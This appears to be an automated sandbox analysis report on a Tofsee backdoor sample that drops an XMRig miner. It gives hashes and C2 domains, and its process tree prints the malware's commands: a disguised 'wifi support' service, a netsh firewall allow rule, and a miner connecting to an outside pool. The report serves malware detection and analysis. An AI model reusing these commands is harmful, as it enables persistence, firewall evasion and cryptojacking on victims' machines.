Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/10/2022, 02:54

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General

  • Target

    file.exe

  • Size

    255KB

  • MD5

    a32a8500b1fdad45441c21f43c621735

  • SHA1

    58f3984469801daa0bf8809b47bd735760ec3753

  • SHA256

    6b550333d8e92f5c25875a7c6081f50cdffc3fc3401d5ec4ced2c0186d9583be

  • SHA512

    b4fa3543f6ee401c5575cd5ab32e07ed547f2dcb30b8eeb2a3727cb5f5235b80e3b2f33bf40f49d3f52c2d6e7e3ae90e3cbc3ef2cf8954afafa3e87e6f181a4c

  • SSDEEP

    3072:zXKmWDoenFLAyCwONRgs+ERGNKWVk+rBHAj3+J6VKz6EXrukfhElaNR1sKk:ruDo8FLJIRgs+jrgj3A6QztakfK

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ucysgvvq\
      2⤵
        PID:904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\euwjasd.exe" C:\Windows\SysWOW64\ucysgvvq\
        2⤵
          PID:1492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ucysgvvq binPath= "C:\Windows\SysWOW64\ucysgvvq\euwjasd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ucysgvvq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ucysgvvq
          2⤵
          • Launches sc.exe
          PID:940
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:656
      • C:\Windows\SysWOW64\ucysgvvq\euwjasd.exe
        C:\Windows\SysWOW64\ucysgvvq\euwjasd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:972
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1700

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\euwjasd.exe
        Filesize

        13.0MB

        MD5

        e2e66ffdc37581ac0f0e422ee9565264

        SHA1

        7b62fdc580a6273a7192d7df48de504f3313bbc7

        SHA256

        63b29ef7e04501b4fdbc7ab8f00df40a3b2410636f60cc1cabed457ceee85baf

        SHA512

        c91c24e01b12c1ca3d2d4447d63f03a496b5b15047c10356b41f24a5ddcd811fce135bc62279f740a2d96180ddef21f71cdc40c28b764711ef0366b0359f5fa7

        Download Submit

      • C:\Windows\SysWOW64\ucysgvvq\euwjasd.exe
        Filesize

        13.0MB

        MD5

        e2e66ffdc37581ac0f0e422ee9565264

        SHA1

        7b62fdc580a6273a7192d7df48de504f3313bbc7

        SHA256

        63b29ef7e04501b4fdbc7ab8f00df40a3b2410636f60cc1cabed457ceee85baf

        SHA512

        c91c24e01b12c1ca3d2d4447d63f03a496b5b15047c10356b41f24a5ddcd811fce135bc62279f740a2d96180ddef21f71cdc40c28b764711ef0366b0359f5fa7

        Download Submit

      • memory/972-66-0x0000000002DA8000-0x0000000002DBE000-memory.dmp

        Filesize

        88KB

        Download

      • memory/972-98-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

        Download

      • memory/972-81-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

        Download

      • memory/972-80-0x0000000002DA8000-0x0000000002DBE000-memory.dmp

        Filesize

        88KB

        Download

      • memory/972-72-0x0000000002DA8000-0x0000000002DBE000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1700-103-0x0000000000150000-0x0000000000241000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1700-105-0x0000000000150000-0x0000000000241000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1948-82-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1948-99-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1948-75-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1948-100-0x0000000000530000-0x0000000000537000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1948-73-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1948-95-0x00000000055D0000-0x00000000059DB000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1948-83-0x0000000001940000-0x0000000001B4F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1948-86-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1948-89-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1948-92-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1976-54-0x0000000002D28000-0x0000000002D3E000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1976-55-0x0000000074D81000-0x0000000074D83000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1976-56-0x0000000002D28000-0x0000000002D3E000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1976-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1976-59-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

        Download

      • memory/1976-69-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

        Download

      • memory/1976-68-0x0000000002D28000-0x0000000002D3E000-memory.dmp

        Filesize

        88KB

        Download